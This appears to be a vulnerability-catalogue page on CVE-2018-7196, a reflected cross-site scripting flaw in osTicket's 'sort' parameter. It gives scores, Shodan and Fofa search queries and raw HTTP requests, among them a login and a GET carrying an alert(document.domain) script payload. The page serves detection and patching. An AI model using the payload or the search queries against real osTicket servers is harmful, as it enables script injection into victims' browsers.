🔙 목록으로 돌아가기

CVE-2018-7196: osTicket < 1.10.2 - Cross-Site Scripting

TitleosTicket < 1.10.2 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade osTicket to later version to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.00533
CVE IDCVE-2018-7196
CWE IDCWE-79
Shodan Querytitle:"osTicket"
Fofa Querytitle="osticket"
Tags cve cve2018 osticket xss authenticated vuln

🔍 Vulnerability Description

Cross-site scripting (XSS) vulnerability in /scp/index.php in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the “sort” parameter.

🌐 HTTP Request

GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

__CSRFToken__=LMEf7Z&do=scplogin&userid=6TS1dL&passwd=FMmyLM&ajax=1
GET /scp/index.php?sort="><script>alert(document.domain);</script>&dir=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7196.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7196.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A